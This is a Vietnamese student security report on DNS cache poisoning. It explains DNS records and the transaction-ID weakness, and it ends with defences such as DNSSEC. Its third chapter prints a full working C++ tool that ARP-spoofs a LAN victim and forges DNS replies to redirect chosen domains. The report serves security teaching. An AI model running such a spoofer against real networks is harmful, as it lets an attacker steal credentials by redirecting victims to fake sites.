Tải bản đầy đủ (.docx) (28 trang)

PHƯƠNG PHÁP TẤN CÔNG ĐẦU ĐỘC DNS VÀ GIẢI PHÁP PHÒNG CHỐNG

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.41 MB, 28 trang )

TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI
VIỆN CÔNG NGHỆ THÔNG TIN VÀ TRUYỀN THÔNG
  

BÁO CÁO
BÀI TẬP LỚN AN TOÀN & BẢO MẬT
THÔNG TIN

PHƯƠNG PHÁP TẤN CÔNG ĐẦU ĐỘC DNS
VÀ GIẢI PHÁP PHÒNG CHỐNG

Giảng viên hướng dẫn : TS. Trần Đức Khánh
Nhóm sinh viên

: Nhóm 31

MỤC LỤC


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

CHƯƠNG I
TỔNG QUAN VỀ HỆ THỐNG DNS
1.1 DNS là gì?
DNS (Domain Name System), là Hệ thống tên miền được phát minh vào
năm 1984 cho Internet, chỉ một hệ thống cho phép thiết lập tương ứng giữa địa
chỉ IP và tên miền. Hệ thống tên miền (DNS) là một hệ thống đặt tên theo thứ tự
cho máy vi tính, dịch vụ, hoặc bất kì nguồn lực tham gia vào Internet. Nó liên
kết nhiều thông tin đa dạng với tên miền được gán cho những người tham gia.
Quan trọng nhất là, nó chuyển tên miền có ý nghĩa cho con người vào số định
danh (nhị phân), liên kết với các trang thiết bị mạng cho các mục đích định vị và


địa chỉ hóa các thiết bị khắp thế giới.
Phép tương thường được sử dụng để giải thích hệ thống tên miền là, nó
phục vụ như một “Danh bạ điện thoại” để tìm trên Internet bằng cách dịch tên
máy chủ máy tính thành địa chỉ IP Ví dụ, www.example.com dịch thành
208.77.188.166.
Hệ thống tên miền giúp cho nó có thể chỉ định tên miền cho các nhóm
người sử dụng Internet trong một cách có ý nghĩa, độc lập với mỗi địa điểm của
người sử dụng. Bởi vì điều này, World-Wide Web (WWW) siêu liên kết và trao
đổi thông tin trên Internet có thể duy trì ổn định và cố định ngay cả khi định
tuyến dòng Internet thay đổi hoặc những người tham gia sử dụng một thiết bị di
động. Tên miền internet dễ nhớ hơn các địa chỉ IP như là 208.77.188.166 (IPv4)
hoặc 2001: db8: 1f70:: 999: de8: 7648:6 e8 (IPv6).
Mọi người tận dụng lợi thế này khi họ thuật lại có nghĩa các URL và địa
chỉ email mà không cần phải biết làm thế nào các máy sẽ thực sự tìm ra chúng.
Hệ thống tên miền phân phối trách nhiệm gán tên miền và lập bản đồ
những tên tới địa chỉ IP bằng cách định rõ những máy chủ có thẩm quyền cho
mỗi tên miền. Những máy chủ có tên thẩm quyền được phân công chịu trách
nhiệm đối với tên miền riêng của họ, và lần lượt có thể chỉ định tên máy chủ
Nhóm 09 – K54

2

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

khác độc quyền của họ cho các tên miền phụ. Kỹ thuật này đã thực hiện các cơ
chế phân phối DNS, chịu đựng lỗi, và giúp tránh sự cần thiết cho một trung tâm
đơn lẻ để đăng kí được tư vấn và liên tục cập nhật.

Nhìn chung, Hệ thống tên miền cũng lưu trữ các loại thông tin khác, chẳng
hạn như danh sách các máy chủ email mà chấp nhận thư điện tử cho một tên
miền Internet. Bằng cách cung cấp cho một thế giới rộng lớn, phân phối từ khóa
– cơ sở của dịch vụ đổi hướng , Hệ thống tên miền là một thành phần thiết yếu
cho các chức năng của Internet. Các định dạng khác như các thẻ RFID, mã số
UPC, kí tự Quốc tế trong địa chỉ email và tên máy chủ, và một loạt các định
dạng khác có thể có khả năng sử dụng DNS
1.2 Các đặc điểm của DNS
DNS là sử dụng cơ sở dữ liệu dạng phân tán được tổ chức theo mô hình
cây (hierarchical):
Cơ sở dữ liệu phân tán và phân cấp:

Hình 1 – Cấu trúc phân cấp và phân tán hệ thống DNS

Nhóm 09 – K54

3

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Hình 2 – Phân tán các subdomain

1.3 Nguyên lý hoạt động của hệ thống DNS
 DNS hoạt động theo hình thức truy vấn và đáp trả (Query/response).
 Khi máy chủ DNS nhận được yêu cầu phân giải địa chỉ (request) từ

máy trạm, nó sẽ tra cứu bộ đêm (Cache) và trả về địa chỉ IP tương ứng.

Ví dụ: Client muốn địa chỉ IP của www.amazon.com;
-

Client truy cập root server tìm DNS server tương ứng với tên miền “com”.

-

Client truy cập DNS server với miền “com” đã tìm DNS server của
amazon.com.

-

Client truy cập máy chủ DNS của amazon.com để lấy địa chỉ của
www.amazon.com

Nhóm 09 – K54

4

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Hình 3 – Truy vấn kết quả trong hệ thống DNS

Hình 4 – Quy trình 5 bước

Nhóm 09 – K54


5

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

1.4 Các bản ghi của DNS
1.4.1 Bản ghi kiểu A
Bản ghi kiểu A được dùng để khai báo ánh xạ giữa tên của một máy tính trên
mạng và địa chỉ IP tương ứng của nó. Nói cách khác, bản ghi kiểu A chỉ ra tên
và điạ chỉ IP của một máy tính trên mạng.
Bản ghi kiểu A có cú pháp như sau: domain IN A <địa chỉ IP của máy>
Ví dụ: home.vnn.vn IN A 203.162.0.12
Theo ví dụ trên, tên miền home.vnn.vn được khai với bản ghi kiểu A trỏ đến địa
chỉ 203.162.0.12 sẽ là tên của máy tính này. Một tên miền có thể được khai
nhiều bản ghi kiểu A khác nhau để trỏ đến các địa chỉ IP khác nhau. Như vậy có
thể có nhiều máy tính có cùng tên trên mạng. Ngược lại một máy tính có một địa
chỉ IP có thể có nhiều tên miền trỏ đến, tuy nhiên chỉ có duy nhất một tên miền
được xác định là tên của máy, đó chính là tên miền được khai với bản ghi kiểu A
trỏ đến địa chỉ của máy.

1.4.2 Bản ghi kiểu AAAA
Bản ghi kiểu AAAA được dùng để chuyển đổi từ tên miền sang địa chỉ IPv6.
Giống như bản ghi kiểu A trong địa chỉ IPv4, một tên miền có thể được khai
nhiều bản ghi kiểu AAAA khác nhau để trỏ đến các địa chỉ IPv6 khác nhau.
Bản ghi kiểu AAAA có cú pháp như sau:
domain IN AAAA <địa chỉ IPv6 của máy>
Ví dụ: ipv6.vnnic.net IN AAAA 2001:dc8:5::115
Khai báo trên cho thấy tên miền ipv6.vnnic.net là tên được đặt cho máy tính

có địa chỉ 2001:dc8:5::115 trên mạng Internet.

Nhóm 09 – K54

6

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

1.4.3 Bản ghi kiểu CNAME
Bản ghi CNAME cho phép một máy tính có thể có nhiều tên. Nói cách khác
bản ghi CNAME cho phép nhiều tên miền cùng trỏ đến một địa chỉ IP cho trước.
Để có thể khai báo bản ghi CNAME, bắt buộc phải có bản ghi kiểu A để khai
báo tên của máy. Tên miền được khai báo trong bản ghi kiểu A trỏ đến địa chỉ
IP của máy được gọi là tên miền chính (canonical domain). Các tên miền khác
muốn trỏ đến máy tính này phải được khai báo là bí danh của tên máy (alias
domain). Cú pháp của bản ghi CNAME alias-domain IN CNAME canonical
domain Ví dụ : www.vnn.vn IN CNAME home.vnn.vn Tên miền www.vnn.vn
sẽ là tên bí danh của tên miền home.vnn.vn , hai tên miền www.vnn.vn và
home.vnn.vn sẽ cùng trỏ đến địa chỉ IP 203.162.0.12.
1.4.4 Bản ghi MX
Bản ghi MX dùng để khai báo trạm chuyển tiếp thư điện tử của một tên
miền.
Ví dụ, để các thư điện tử có cấu trúc được gửi đến trạm chuyển
tiếp thư điện tử có tên mail.vnn.vn , trên cơ sở dữ liệu của DNS cần khai báo
bản ghi MX như sau: vnn.vn IN MX 10 mail.vnn.vn
Các thông số được khai báo trong bản ghi MX nêu trên gồm có:
• vnn.vn : là tên miền được khai báo để sử dụng như địa chỉ thư điện tử.

• mail.vnn.vn: là tên của trạm chuyển tiếp thư điện tử, nó thực tế là tên

của máy tính dùng làm trạm chuyển tiếp thư điện tử.
• 10 : Là giá trị ưu tiên, giá trị ưu tiên có thể là một số nguyên bất kỳ từ

1đến 255, nếu giá trị ưu tiên này càng nhỏ thì trạm chuyển tiếp thư
điện tử được khai báo sau đó sẽ là trạm chuyển tiếp thư điện tử được
chuyển đến đầu tiên.
Ví dụ nếu khai báo
-

vnn.vn IN MX 10 mail.vnn.vn

-

vnn.vn IN MX 20 backupmail.vnn.vn

Nhóm 09 – K54

7

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Thì tất cả các thư điện tử có cấu trúc địa chỉ trước hết sẽ được
gửi đến trạm chuyển tiếp thư điện tử mail.vnn.vn. Chỉ trong trường hợp máy chủ
mail.vnn.vn không thể nhận thư thì các thư này mới được chuyển đến trạm
chuyển tiếp thư điện tử backupmail.vnn.vn.

1.4.5 Bản ghi NS
Bản ghi NS dùng để khai báo máy chủ tên miền cho một tên miền. Nó cho
biết các thông tin về tên miền này được khai báo trên máy chủ nào. Với mỗi một
tên miền phải có tổi thiểu hai máy chủ tên miền quản lý, dó đó yêu cầu có tối
thiểu hai bản ghi NS cho mỗi tên miền.
Cú pháp của bản ghi NS <tên miền> IN NS <tên của máy chủ tên miền>
Ví dụ vnnic.net.vn. IN NS dns.vnnic.net.vn.
Với khai báo trên, tên miền vnnic.net.vn sẽ do máy chủ tên miền có tên
dns.vnnic.net.vn quản lý. Điều này có nghĩa, các bản ghi như A, CNAME,
MX ... của tên miền vnnic.net.vn và các tên miền cấp dưới của nó sẽ được khai
báo trên máy chủ dns.vnnic.net.vn.
1.4.6 Bản ghi PTR
Hệ thống DNS không những thực hiện việc chuyển đổi từ tên miền sang địa
chỉ IP mà còn thực hiện chuyển đổi địa chỉ IP sang tên miền. Bản ghi PTR cho
phép thực hiện chuyển đổi địa chỉ IP sang tên miền. Ví dụ về khai báo bản ghi
PTR
12.0.162.203.in-addr.arpa IN PTR home.vnn.vn
Bản ghi PTR trên cho phép tìm tên miền home.vnn.vn khi biết địa chỉ IP mà tên
miền trỏ tới.
1.4.7 Bản ghi NAPTR
Bản ghi NAPTR là bản ghi đặc biệt trong hệ thống tên miền, chứa đựng
thông tin về các nguồn, những dịch vụ và ứng dụng nào sẽ được kết hợp với một
Nhóm 09 – K54

8

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống


số điện thoại xác định. Những dịch vụ này được xác định và lựa chọn bởi khách
hàng.
Ví dụ về khai báo bản ghi NAPTR:
<tên miền> IN NAPTR <thứ tự> <mức ưu tiên> <cờ> <dịch vụ> thức><thay thế>
5.1.1.6.2.2.8.4.4.8.e164.arpa IN NAPTR 10 10 “u” “mailto+E2U” “!^.*$!
mailto:!”
Với khai báo trên khi thực hiện gọi số +84-4-8226115 thì ta sẽ thu
được mailto: Với bản ghi này có thể triển khai dịch vụ dựa
trên hệ thống máy chủ DNS như ENUM và có thể mang lại sự hội tụ giữa viễn
thông và Internet trong tương lai.

CHƯƠNG II
TẤN CÔNG ĐẦU ĐỘC DNS
2.1 Điểm yếu của hệ thống DNS
Như đã mô tả ở trên, DNS là giao thức phân giải địa chỉ, dùng để ánh xạ
giữa tên miền (Domain) sang địa chỉ Internet (IP).
Theo giao thức này, máy chủ DNS khi nhận được yêu cầu phân giải địa chỉ
(request) từ máy trạm, nó sẽ tra cứu trong bộ đêm (cache) và trả về địa chỉ IP
tương ứng với tên miền mà máy trạm yêu cầu.
Nhóm 09 – K54

9

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống


Tuy nhiên, nếu k tìm thấy trong bộ đệm, máy chủ DNS sẽ chuyển tiếp yêu
cầu phân giải tới 1 máy chủ DNS khác. Mỗi trao đổi phân giải giữa A và B được
xác thực thông qua một số hiệu TID (Transaction ID) ngẫu nhiên. Tuy nhiên,
điểm yếu ở đây chính là việc số TID này chỉ là một số 16 bit (nhỏ hơn 65535) và
mọi trao đổi giữa A và B đều diễn ra trên một cổng (port) cố định của A. Đây
chính là khâu đã phát hiện là có lỗ hổng nghiêm trọng và mã khai thác lỗ hổng
này đã được lan truyền trên mạng Internet.

Hình 5 – Minh họa quá trình phân giải tên miền
2.2 Khái niệm tấn công đầu độc DNS
Là phương phấp tấn công vào máy chủ đệm DNS. Nhằm sửa đổi, làm sai
lệch thông tin phân giải tên miền tại server. Từ đó điều hướng người sử dụng
dịch vụ DNS đến website sai lệch.

Nhóm 09 – K54

10

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Hình 6 – Tấn công đầu độc DNS
2.3 Mức độ nguy hiểm:
Nếu thành công sẽ cực kỳ nguy hiểm
Bằng cách đầu độc bản ghi tên miền cho, kẻ tấn công có thể chuyển người sử
dụng của nhà cung cấp dịch vụ Internet đó tới một máy chủ độc, website giả
mạo mỗi khi họ cố gắng truy cập trang web. Đặc biệt nguy hiểm nếu là website
ngân hàng, thương mại điện tử.


Nhóm 09 – K54

11

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Chương III: Phương Pháp Tấn Công Man – In – The –
Middle (MITM) – Giả mạo DNS
3.1 Tổng quan:
Giả mạo DNS là một kỹ thuật MITM được sử dụng nhằm cung cấp thông
tin DNS sai cho một host để khi người dùng duyệt đến một địa chỉ nào đó, ví
dụ, www.google.com.vn có IP XXX.XX.XX.XX, thì cố gắng này sẽ được
gửi đến một địa chỉ www.bachkhoa.com giả mạo cư trú ở địa chỉ IP
YYY.YY.YY.YY, đây là địa chỉ mà kẻ tấn công đã tạo trước để đánh cắp các
thông tin như : tài khoản ngân hàng trực tuyến từ người dùng, mật khẩu của
các trang web,... Tấn công này có thể thực hiện khá dễ dàng và trong bài báo
cáo này nhóm chúng em sẽ đi trình bày cách làm việc của nó, cách nó thực
hiện tấn công thế nào và cuối cùng là cách chống trả ra sao.
Nạn nhân của cuộc tấn công không cần phải chạy một hệ điều hành có độ
bảo mật thấp dễ bị tấn công, cũng không cần chạy một chương trình độc hại
nào mà MITM có thể tấn công bất cứ nơi nào đang có 2 máy giao tiếp với
nhau.
Trong bài báo cáo của chúng em sẽ trình bầy phương pháp tấn công 1
máy trong mạng lan (có địa chỉ IP là 192.168.1.8 ). Máy nạn nhân sẽ bị lắng
nghe mọi truy cập tới một Web bất kì nào và mọi cố gắng vào địa chỉ
google.com.ar đều bị điều hướng đến địa chỉ IP: 1.2.3.4


Nhóm 09 – K54

12

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

3.2 Các bước tấn công
• Máy hacker gửi hàng loạt yêu cầu phân giải địa chỉ tới máy chủ







Nhóm 09 – K54

DNS nạn nhân (máy A).
Các tên miền cần phân giải đã được hacker tính toán sao cho máy
chủ A k thể tìm thấy trong bộ đệm của nó và buộc phải chuyển tiếp
tới máy chủ DNS tiếp theo (máy B).
Mỗi trao đổi phân giải giữa A và B được xác thực thông qua 1 số
tín hiệu TID (Transaction ID) ngẫu nhiên.
Tuy nhiên, điểm yếu ở đây là việc số TID này chỉ là một số 16bit
(nhỏ hơn 65535) và mọi trao đổi giữa A và B đều diễn ra ở cổng cố
định của A.

Để tấn công, trước khi máy A kịp nhận các gói tin trả lời từ máy B,
hacker gửi liên tiếp các gói tin giả mạo trả lời của máy B tới cổng
cố định nói trên của A. Chỉ cần 1 trong các gói tin giả mạo có TID
trùng với TID mà máy A đang chờ, thì gói tin giả mạo sẽ được máy
A chấp nhận là gói tin hợp lệ và cập nhật vào bộ đệm của A. Lúc
này, gói tin trả lời thật từ máy B sẽ không được máy A xử lý nữa.
Bằng cách này, hacker có thể đầu độc bộ đệm của máy A, để ánh xạ
tên miền bị tấn công sang 1 địa chỉ IP mà hacker chỉ định.

13

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Cơ chế tấn công Man – In – The – Middle – Giả mạo DNS

Nhóm 09 – K54

14

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

3.3 Mô phỏng tấn công MITM – Giả mạo DNS
3.3.1 Mô phỏng


Đầu tiên xác định các địa chỉ IP của máy chủ DNS ( nếu máy chủ không
nằm trong cùng mạng LAN, nó phải là địa chỉ của router ) và nạn nhân cùng với
các từ khóa cho ngộ độc DNS ( chứa trong spoof_list STL map: "google" và
"proxy" ) và địa chỉ IP mà mình muốn máy nạn nhân truy cập vào.
Tiếp theo, thực hiện tấn công ARP Posion và tạo ra một sniffer để lắng
nghe UDP với một cổng bằng 53 (mặc định cho DNS). Tại thời điểm này, tất cả
lưu lượng truy cập từ các nạn nhân nên được đi qua máy tính mình dùng để tấn
công. Do đó, chuyển tiếp IP được kích hoạt và chúng em sử dụng IPTABLES để
chặn tất cả lưu lượng UDP với một nguồn hoặc cổng đích bằng 53.
Nói cách khác, tất cả dữ liệu qua lại giữa các máy chủ DNS (192.168.1.1)
và nạn nhân (192.168.1.8) sẽ bị chuyển hướng (thông qua nhân xử lí của chúng
tôi) , ngoại trừ các giao dịch DNS. Sniffer có trách nhiệm xử lý chúng ( thông
qua chức năng DNSSpoofer )
Cuối cùng, chức năng DNSSpoofer được thực hiện mỗi khi sniffer bắt
một gói, nó sẽ thực hiện giả mạo DNS nếu tên miền theo yêu cầu của nạn nhân
là một trong những từ khóa được cung cấp trong spoof_list map.

Nhóm 09 – K54

15

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

3.3.2 Chương trình tấn công bằng c++
#include
#include
#include

#include
#include

<iostream>
<string>
<crafter.h>
<signal.h>
<map>

/* Collapse name spaces */
using namespace std;
using namespace Crafter;
/* Structure for save MAC addresses */
struct HostInfo {
/* Interface */
string iface;
/* IP address of the DNS server */
string dns_ip;
/* IP address of the victim */
string victim_ip;
/* MAC address of the device which is a DNS server (or the router if the
DNS server is not in our local network) */
string dns_mac;
/* MAC address of the victim */
string victim_mac;
/* My MAC address */
string my_mac;
};
/* Global map of IP-HOSTS pairs */
map<string,string> spoof_list;

/* Function for handling a packet when the sniffer caught one */
void DNSSpoofer(Packet* sniff_packet, void* user);
/* IP tables "script" for dropping the DNS traffic. */
void iptables_block(const string& iface, const string& victim_ip, int dst_port);
/* IP tables "script" that flush all rules added */
void iptables_flush(const string& iface, const string& victim_ip, int dst_port);
/* Global Sniffer pointer */
Sniffer* sniff;
/* Function for handling a CTRL-C */
void ctrl_c(int dummy) {
/* Cancel the sniffing thread */
sniff->Cancel();
}
int main() {
/* Init the library */
InitCrafter();
/* Set the interface */
string iface = "wlan0";
/* Create a structure with information about the attack */
HostInfo* host_info = new HostInfo;
/* IP addresses -> This is a data supply by the user */
string dns_ip = "192.168.1.1"; short_word dst_port = 53; /* DNS traffic
*/
string victim_ip = "192.168.1.8";
/* List of addresses -> This also is data supplied by the user */

Nhóm 09 – K54

16


Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
spoof_list["google"] = "1.2.3.4";
spoof_list["proxy"] = "3.3.3.3";
/* Create a HostInfo structure */
host_info->iface = iface;
host_info->dns_ip = dns_ip;
host_info->victim_ip = victim_ip;
host_info->dns_mac = GetMAC(dns_ip,iface);
host_info->victim_mac = GetMAC(victim_ip,iface);
host_info->my_mac = GetMyMAC(iface);
/* Before the attack, execute the IPTABLES "script" */
iptables_block(iface,victim_ip,dst_port);
/* Start the ARP spoofing */
ARPContext* context = ARPSpoofingRequest(dns_ip,victim_ip,iface);
/* Print data about the spoofing, and wait a few seconds */
PrintARPContext(*context);
sleep(3);
/* Create a sniffer
*/
sniff = new Sniffer("udp and host " + victim_ip + " and port " +
StrPort(dst_port),iface,DNSSpoofer);
/* Now, spawn the capture */
void* sniffer_arg = static_cast<void*>(host_info);
sniff->Spawn(-1, sniffer_arg);
cout << "[@] Spawning the sniffer, redirecting the traffic... " << endl;
/* Set a signal catcher */
signal (SIGINT, ctrl_c);

/* And wait for the sniffer to finish (when CONTROL-C is pressed) */
sniff->Join();
/* Delete the IP tables rules */
iptables_flush(iface,victim_ip,dst_port);
/* Delete allocated data */
delete host_info;
/* Clean up ARP context */
CleanARPContext(context);
/* Clean up library stuff... */
CleanCrafter();
return 0;
}
void DNSSpoofer(Packet* sniff_packet, void* user) {
/* Cast the MAC addresses structure */
HostInfo* host_data = static_cast<HostInfo*>(user);
/* Get the Ethernet Layer */
Ethernet* ether_layer = GetEthernet(*sniff_packet);
/* Get the IP layer */
IP* ip_layer = GetIP(*sniff_packet);
/* Get the UDP layer */
UDP* udp_layer = GetUDP(*sniff_packet);
/* Flag to set when we should spoof a DNS answer */
byte spoof = 0;

Nhóm 09 – K54

17

Trang



Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
/* Checks if the source MAC is not mine */
if(ether_layer->GetSourceMAC() != host_data->my_mac) {
/* Checks if the packet is coming from the victim... */
if(ip_layer->GetSourceIP() == host_data->victim_ip) {
/* Get the RawLayer */
RawLayer* raw_layer = GetRawLayer(*sniff_packet);
/* Create a DNS header */
DNS dns_req;
/* And decode it from a raw layer */
dns_req.FromRaw(*raw_layer);
/* Check if the DNS packet is a query and there is a
question on it... */
if( (dns_req.GetQRFlag() == 0) &&
(dns_req.Queries.size() > 0) ) {
/* Get the host name to be resolved */
string hostname = dns_req.Queries[0].GetName();
/* Print information */
cout << "[@] Query received -> Host Name = " <<
hostname << endl;
/* Iterate the spoof_list */
map<string,string>::iterator it_list;
for(it_list = spoof_list.begin() ; it_list !=
spoof_list.end() ; it_list++) {
/* Get the name on the list */
string code_name = (*it_list).first;
/* Check if the code_name is inside the
host name requested */
if(hostname.find(code_name) !=

string::npos) {
cout << "[+] ---- Spoofed
request (" << code_name << ") -> Host Name = " << hostname << endl;
/* Get the IP address associated
to this code_name */
string ip_address =
(*it_list).second;
/* Create the DNS Answer */
DNS::DNSAnswer
dns_answer(hostname,ip_address);
/* And put it into the container
*/
dns_req.Answers.push_back(dns_answer);
/* Modify the original request
*/
dns_req.SetQRFlag(1); /* Now is
a response */
dns_req.SetRAFlag(1); /*
Recursion is available */
/* Set the spoof flag */
spoof = 1;
/* Break the loop */
break;
}
}
}

Nhóm 09 – K54

18


Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
/* Send the spoofed answer */
if(spoof) {
/* Pop the top layer... */
sniff_packet->PopLayer();
/* ... and put the DNS spoof answer just created
*/
*sniff_packet /= dns_req;
/* +++++ Ethernet Layer */
/* Send the packet to the victim */
ether_layer->SetDestinationMAC(host_data>victim_mac);
/* And put our MAC ad a source */
ether_layer->SetSourceMAC(host_data->my_mac);
/* +++++ IP Layer */
/* Get DNS server IP address */
string dns_ip = ip_layer->GetDestinationIP();
/* Send the packet to the victim IP */
ip_layer->SetDestinationIP(host_data>victim_ip);
/* PUt the dns IP address as a source IP */
ip_layer->SetSourceIP(dns_ip);
/* +++++ UDP Layer */
/* Swap the destinations and source port */
short_word src_port = udp_layer->GetSrcPort();
short_word dst_port = udp_layer->GetDstPort();
udp_layer->SetSrcPort(dst_port);
udp_layer->SetDstPort(src_port);

/* After modifying the layers, write the packet
on the wire */
sniff_packet->Send(host_data->iface);
} else {
/* Send the packet to the dns */
ether_layer->SetDestinationMAC(host_data>dns_mac);
/* And put our MAC ad a source */
ether_layer->SetSourceMAC(host_data->my_mac);
/* After modifying the Ethernet layer, write the
packet on the wire */
sniff_packet->Send(host_data->iface);
}
/* ...or coming from the server */
} else if (ip_layer->GetDestinationIP() == host_data->victim_ip)
{
/* Send the packet to the victim */
ether_layer->SetDestinationMAC(host_data->victim_mac);
/* And put our MAC ad a source */
ether_layer->SetSourceMAC(host_data->my_mac);
/* After modifying the Ethernet layer, write the packet
on the wire */
sniff_packet->Send(host_data->iface);
}

Nhóm 09 – K54

19

Trang



Phương pháp tấn công đầu độc DNS & giải pháp phòng chống
}
}
void iptables_block(const string& iface, const string& victim_ip, int dst_port)
{
/* Activate IP forwarding */
system("/bin/echo 1 > /proc/sys/net/ipv4/ip_forward");
/* Drop packets sent to or received from a http server (for victim IP
address) */
system(string("/sbin/iptables -A FORWARD -s " + victim_ip +
" -p udp --dport " + StrPort(dst_port) + " -j
DROP").c_str());
system(string("/sbin/iptables -A FORWARD -d " + victim_ip +
" -p udp --sport " + StrPort(dst_port) + " -j
DROP").c_str());
/* Remember that libcrafter doesn't mind about local firewalls rules...
*/
}
void iptables_flush(const string& iface, const string& victim_ip, int dst_port)
{
/* Disable IP forwarding */
system("/bin/echo 0 > /proc/sys/net/ipv4/ip_forward");
/* Delete the rules */
system(string("/sbin/iptables -D FORWARD -s " + victim_ip +
" -p udp --dport " + StrPort(dst_port) + " -j
DROP").c_str());
system(string("/sbin/iptables -D FORWARD -d " + victim_ip +
" -p udp --sport " + StrPort(dst_port) + " -j
DROP").c_str());

}

Nhóm 09 – K54

20

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

3.3.3 Chạy chương trình tấn công một máy trong mạng Lan

Khi bắt đầu chạy chương trình: Chương trình đưa ra địa chỉ Mac của máy tấn
công và địa chỉ Mác của máy bị tấn công

Nhóm 09 – K54

21

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Sau đó, với mọi truy cập bất kì của máy Victin (máy bị tấn công) đều bị máy
Attacker nghe được.

Mọi cố gắng truy cập đến tên miền www.google.com.ar đều bị chuyển đến địa
chỉ

IP: 1.2.3.4
Nhóm 09 – K54

22

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Nhóm 09 – K54

23

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

Chương 4: Phòng chống giả mạo DNS
Khá khó phòng chống việc giả mạo DNS vì có khá ít các dấu hiệu tấn công.
Thông thường, bạn không hề biết DNS của mình bị giả mạo cho tới khi điều đó
xảy ra. Những gì bạn nhận được là một trang web khác hoàn toàn so với những
gì mong đợi. Trong các tấn công với chủ đích lớn, rất có thể bạn sẽ không hề
biết rằng mình đã bị lừa nhập các thông tin quan trọng của mình vào một
website giả mạo cho tới khi nhận được cuộc gọi từ ngân hàng hỏi tại sao bạn lại
rút nhiều tiền đến vậy. Mặc dù khó nhưng không phải không có biện pháp nào
có thể phòng chống các kiểu tấn công này, đây là một sô thứ bạn cần thực hiện:
4.1 Bảo vệ các máy tính bên trong của bạn


Các tấn công giống như trên thường được thực thi từ bên trong mạng của
bạn. Nếu các thiết bị mạng của an toàn thì sẽ bạn sẽ giảm được khả năng các
host bị thỏa hiệp và được sử dụng để khởi chạy tấn công giả mạo.
4.2 Thận trọng khi duyệt internet:

Đối với người sử dụng cá nhân, cần thận trọng trong thời gian này khi truy
cập Internet.Nếu vào một website quen thuộc nhưng lại gặp hiện tượng không
bình thường, các cá nhân này nên thông báo ngay với quản trị mạng của cơ quan
hoặc hỗ trợ kỹ thuật của các ISP để có biện pháp xử lý kịp thời. Ngoài ra, chúng
ta cũng nên cập nhật đầy đủ các bản vá của hệ điều hành và phần mềm diệt virus
để tránh nguy cơ bị lây nhiễm mã độc.
4.3 Sử dụng DNSSEC:

DNSSEC là công nghệ an toàn mở rộng cho hệ thống DNS. Trong đó
DNSSEC sẽ cung cấp một cơ chế xác thực giữa các máy chủ DNS với nhau và
xác thực cho từng vùng dữ liệu để đảm bảo toàn vẹn dữ liệu.
Với cách thức tổ chức thêm những bản ghi mới và những giao thức đã được
chỉnh sửa nhằm chứng thực nguồn gốc và tính toàn vẹn dữ liệu cho hệ thống,
với DNSSEC, hệ thống DNS đã được mở rộng thêm các tính năng bảo mật và
Nhóm 09 – K54

24

Trang


Phương pháp tấn công đầu độc DNS & giải pháp phòng chống

được tăng cường độ an toàn, tin cậy, khắc phục được những nhược điểm của
thiết kế sơ khai ban đầu. Vừa đáp ứng được các yêu cầu thông tin định tuyến về

tên miền, giao thức làm việc giữa các máy chủ DNS với nhau, vừa đáp ứng được
các yêu cầu bảo mật, tăng cường khả năng dự phòng cho hệ thống.
Vì vậy, việc triển khai DNSSEC là cần thiết để đảm bảo an toàn cho hệ
thống DNS, các dịch vụ trực tuyến trên Internet.
4.4 Kiểm tra lỗ hổng DNS Cache Poisoning
Ta có thể sử dụng phần mềm BkavDNSCheck để kiểm tra xem máy chủ
DNS của mình có lỗ hổng DNS Cache Poisoning hay không. Và thực hiện các
biện pháp vá lỗi cần thiết để bảo vệ DNS server.
Giới thiệu sơ lược về phần mềm BkavDNSCheck:
- Xuất xứ: Do Trung tâm An ninh mạng Bách Khoa (Bkis) phát hành vào ngày
25/07/2008.
- Tính năng: Cho phép kiểm tra, phát hiện hệ thống máy chủ DNS có lỗ hổng
Subdomain Exploit DNS Cache Poisoning hay không.
- Link download: />- Cùng với việc phát hành phần mềm này, Bkis cũng hướng dẫn cách vá lỗ hổng
để tránh nguy cơ bùng phát các cuộc tấn công vào hệ thống DNS tại Việt Nam.
Ngoài ra, ta còn có thể sử dụng một số phần mềm khác để bảo vệ máy tính
khỏi các cuộc tấn công DNS Cache Poisoning như:
• Hitman
Pro
(32bit
and

64bit

versions):

/>• Kaspersky Labs TDSSKiller:
/>• McAfee Stinger:
/>• Microsoft


Windows

Defender

Offline:

/>• Microsoft

Safety

Scanner:

/>• Norton Power Eraser: />• Trend Micro Housecall:
• MacScan: />Nhóm 09 – K54

25

Trang


×